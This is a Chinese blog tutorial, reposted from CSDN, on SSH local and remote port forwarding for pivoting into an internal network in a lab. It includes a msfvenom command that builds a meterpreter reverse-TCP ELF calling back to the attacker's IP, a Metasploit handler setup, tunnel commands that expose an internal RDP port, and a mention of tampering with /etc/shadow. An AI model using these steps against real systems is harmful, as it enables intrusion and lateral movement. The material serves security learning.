首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

[隧道代理] 隧道代理 — 端口转发 - SSH 端口转发

  • 25-02-20 14:41
  • 2354
  • 10213
blog.csdn.net

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:SSH 工具介绍

SSH(Secure Shell)是一种加密的网络协议,用于在不安全的网络中安全地执行远程登录、命令执行和文件传输等操作。SSH 工具是用于实现 SSH 协议的客户端或服务端软件,SSH 工具可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP 和端口转发等功能。

SSH 转发常用参数如下:

参数含义
-C请求压缩所有数据
-D动态转发、即 Socks 代理
-f后台执行 SSH 命令
-g允许远程主机连接主机的转发端口
-L本地转发
-N不执行远程指令,处于等待状态
-R远程转发

0x02:SSH 本地端口转发(正向转发)

SSH 本地端口转发条件:你要知道本地 Root 用户的账号密码,且机器允许 Root 远程登录。

0x0201:场景描述

现在有如下网络,电脑 A 是攻击机(公网),可以直接访问电脑 B(公网),但是无法访问电脑 C(内网),此时我们就可以借助电脑 B 上的 SSH 命令进行端口转发访问电脑 C 指定端口。

网络拓扑图如下,AB 两台机器模拟公网环境(笔者没有购买公网服务器,大家先暂时将 192.168 这个当作公网 IP 好了,意思达到就行),BC 两台机器模拟内网环境,C 机器是纯内网机器,即它也访问不了 A:

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.136

  • 边界机器 CentOS7:IP 192.168.0.137 / 192.168.10.128

  • 内网机器 Windows 7 专业版:IP 192.168.10.129 - 开放 3389 端口

0x0202:试验步骤

1. 拿到边界机器 Shell

使用 WebShell 或者其他方式登录边界机器 B 中,笔者这里采用 SSH 直接通过账号密码登录(问就是我自己通过漏洞篡改了它的 /etc/shadow 和 /etc/passwd 创建的用户):

 ssh [email protected]

2. SSH 本地端口转发

假设我们通过内网信息收集获得目标内网的 C 机器 192.168.10.129 开放了 3389 端口,但是由于网络隔离,我们无法通过 rdesktop 命令直接访问 C 机器。

但是我们现在控制的 B 机器与 C 机器处于同一网段,所以我们可以通过本地端口转发技术,让 B 机器的 3333 端口与 C 机器的 3389 端口做一个绑定。这样,当我们攻击机访问 B 机器的 3333 端口就相当于访问了 C 机器的 3389 端口。

在跳板机 B 机器的远控 Shell 中输入下面命令,进行本地端口转发(需要知道 B 机器 Root 用户密码,且 B 机器允许 Root 用户远程登录):

  1.  ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP # 需要输入跳板机的账号密码
  2.  ​
  3.  示例: ssh -CfNg -L 3333:192.168.10.129:3389 192.168.0.137

如上,如果没报错,就证明 SSH 隧道搭建完毕了。

3. 正向连接访问内网 C 机器远程桌面服务

此时我们在 Kali Linux 中新开一个窗口,输入如下命令,尝试连接 C 机器的远程桌面(如果连接失败,请尝试关闭 C 机器的防火墙):

 rdesktop 192.168.0.137:3333

如上,成功连接上了目标内网 C 机器的 3389 远程桌面服务。而且,值得注意的是,我们从头到尾只在 B 机器上进行操作,并没有碰 C 机器。

0x03:SSH 远程端口转发(反向转发)

SSH 远程端口转发条件:你要知道远程 Root 用户的账号密码,且机器允许 Root 远程登录。

0x0301:场景描述

现有如下网络,电脑 A 是攻击机(公网),电脑 B 与 电脑 C 都是内网机器,所以 A 不能直接访问 B、C,但是 B、C 均能访问 A:

面对上面那种情况,我们就可以使用 SSH 反向端口转发技术,利用 B 电脑,将 C 电脑指定端口转发到攻击者机器上面,然后进行攻击(全程都不需要 C 电脑参与操作)。

复现环境

  • 攻击机 A - Kali Linux:IP 192.168.0.102 - VMWare 设置为桥接模式

  • 边界机器 - Windows 11(物理机):IP 192.168.0.100 / 172.16.0.1

  • 内网机器 B - CentOS 7:IP 172.16.0.101 - VMWare 设置为 NAT 模式

  • 内网机器 C - Windows 7 专业版:IP 172.16.0.100 - 确保它开启了 3389 远程桌面服务,且 VMWare 也设置为 NAT 模式

0x0302:试验步骤

1. 拿到内网机器 B 的 Shell

这里笔者是通过 Kali Linux 上的 MSF 制作的 Linux 恶意程序上线的员工 B 电脑:

  1.  # Kali Linux 生成针对 Linux 的病毒文件
  2.  msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=7777 -f elf -o shell.elf
  3.  ​
  4.  # Kali Linux 本地监听命令
  5.  msfconsole # 启动 msf
  6.  use exploit/multi/handler
  7.  set payload linux/x86/meterpreter/reverse_tcp
  8.  set LHOST 192.168.0.102
  9.  set LPORT 7777
  10.  run

2. SSH 远程端口转发

假设我们通过信息收集发现在 B 机器中发现了 C 机器的账号密码,同时我们还发现 C 机器开放了 3389 端口。那么下一步,我们就想通过 C 机器的远程登录服务控制 C 机器,先分析一下:

目前我们攻击机 A 是无法直接访问对方内网的,只能借助 B 机器,B 机器与 C 机器位于同一网段,而我们仅仅是想获得 C 机器的 3389 服务。如果仅仅是吧 C 机器的 3389 转到 B 机器上(本地端口转发),我们 A 机器还是无法访问,但是如果借助 B 机器,将 C 机器的 3389 转发到 A 机器上(远程端口转发),那我们攻击者访问自己还不是轻轻松松。

利用 meterpreter 在 B 机器中执行下面这条命令:

  1.  ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP # 需要输入攻击者的账号密码
  2.  ​
  3.  示例: ssh -CfNg -R 3333:172.16.0.100:3389 192.168.0.102

如上,如果没有报错,那么恭喜你,SSH 反向端口转发隧道搭建完毕。

3. 反向连接访问内网 C 机器远程桌面服务

此时我们在 Kali Linux 中新开一个窗口,输入如下命令,尝试连接 C 机器的远程桌面(如果连接失败,请尝试关闭 C 机器的防火墙):

 rdesktop 127.0.0.1:3333

如上,攻击机成功拿到了目标内网 C 机器的远程桌面(可惜的是,这个只能在攻击机本地访问,即你如果想通过另一台机器以 192.168.0.102:3333 作为远程桌面的连接请求是无效的)。

0x04:SSH 动态端口转发(Socks 代理)

动态转发类似于 Socks 代理,不仅仅是针对某一个端口的数据进行转发,这个留到后面代理部分讲解。

0x05:参考资料

Linux下解决网卡重启失败Restarting network (via systemctl): Job for network.service failed较全的解决方案-CSDN博客文章浏览阅读2.4w次,点赞42次,收藏138次。Linux下解决网卡重启失败Restarting network (via systemctl): Job for network.service failed较全的解决方案_restarting network (via systemctl): job for network.service failed because thttp://iyenn.com/rec/1669423.html
使用root用户ssh远程连接kali - junlin623 - 博客园问题: 直接通过命令 ssh root@ip 无法连接root用户 解决方案: 使用普通用户连接上之后在终端中(此处以windows的cmd窗口进行演示)进行root用户的切换 直接通过root用户登录,但是需要提前到kali中修改配置文件( /etc/ssh/sshd_config) 修改前: 修https://www.cnblogs.com/junlin623/p/17019558.html
Hack3rX
微信公众号
这里是探索网络安全与黑客技术的秘密基地
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/145563876"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top